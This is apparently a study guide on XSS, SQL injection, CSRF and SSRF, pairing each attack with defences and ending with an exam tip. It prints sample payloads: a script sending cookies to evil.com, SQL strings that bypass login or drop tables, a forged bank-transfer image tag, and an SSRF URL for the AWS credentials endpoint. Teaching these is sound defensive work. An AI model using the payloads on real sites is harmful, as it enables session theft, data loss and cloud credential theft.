Common Web Attacks: XSS, SQL Injection, CSRF, and SSRF

Cross-Site Scripting (XSS)

XSS injects malicious scripts into web pages viewed by other users. The browser executes the script in the victim's context.

# Three types:
# Stored XSS:  malicious script saved in database, served to all users
# Reflected XSS: script in URL, server reflects it in response
# DOM-based XSS: script manipulates DOM directly via JavaScript

# Attack example (stored XSS in a comment field):
# Attacker posts: <script>document.cookie = document.cookie + fetch('https://evil.com?' + document.cookie)</script>
# Every user who views the comment has their cookie stolen

# Prevention:
# 1. Output encoding: escape HTML special chars
#    & → &amp;  < → &lt;  > → &gt;  " → &quot;
# 2. Content Security Policy (CSP) header
# 3. Use innerHTML only with sanitised data
# 4. HTTPOnly flag on cookies (prevents JS access)

SQL Injection

SQL injection inserts malicious SQL into application queries, allowing attackers to read, modify, or delete database data.

# Vulnerable code (Python):
query = "SELECT * FROM users WHERE email='" + email + "' AND password='" + password + "'"

# Attack: email = "' OR '1'='1' --"
# Resulting query:
# SELECT * FROM users WHERE email='' OR '1'='1' --' AND password='...'
# The -- comments out the password check — logs in as first user!

# Attack: email = "'; DROP TABLE users; --"
# Can delete entire tables!

# Prevention:
# 1. Parameterised queries / prepared statements
cursor.execute("SELECT * FROM users WHERE email = %s AND password = %s", (email, password))

# 2. ORM (handles parameterisation automatically)
User.objects.filter(email=email, password=password)

# 3. Input validation
# 4. Least-privilege database accounts

Cross-Site Request Forgery (CSRF)

CSRF tricks authenticated users into executing unwanted actions on a trusted site. The browser automatically includes cookies, making the request appear legitimate.

# Attack flow:
# 1. User logs into bank.com (gets session cookie)
# 2. User visits evil.com while still logged in
# 3. evil.com contains: <img src="https://bank.com/transfer?to=attacker&amount=1000">
# 4. Browser sends the request WITH the bank.com session cookie
# 5. Bank processes the transfer as if the user initiated it!

# Prevention:
# 1. CSRF tokens
#    - Unique, secret value in every form/request
#    - Server verifies token matches expected value
#    <input type="hidden" name="_csrf" value="{{ csrf_token }}">

# 2. SameSite cookie attribute
#    Set-Cookie: session=abc123; SameSite=Strict
#    SameSite=Strict: cookie never sent cross-site
#    SameSite=Lax: sent for top-level navigations only

# 3. Check Origin/Referer headers
# 4. Double submit cookie pattern

Server-Side Request Forgery (SSRF)

SSRF tricks the server into making HTTP requests to internal resources, potentially exposing cloud metadata or internal services.

# Attack scenario:
# App fetches a URL provided by the user:
url = request.params["url"]
response = requests.get(url)

# Attacker provides:
url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# This is AWS's instance metadata endpoint!
# Returns temporary credentials for the EC2 role

# Attacker can access:
# - Internal services (http://localhost:8080/admin)
# - Cloud metadata (AWS: 169.254.169.254, GCP: metadata.google.internal)
# - Internal databases, Redis, etc.

# Prevention:
# 1. Allowlist of permitted domains
# 2. Block private IP ranges (10.x, 172.16.x, 192.168.x, 169.254.x)
# 3. Use IMDSv2 on EC2 (requires session token, harder to exploit)
# 4. Don't allow user-supplied URLs to internal fetches

Exam tip

Know the defence for each attack: XSS → output encoding + CSP; SQL injection → parameterised queries; CSRF → CSRF tokens + SameSite cookies; SSRF → allowlist + block private IPs. These four attacks cover ~60% of security exam questions.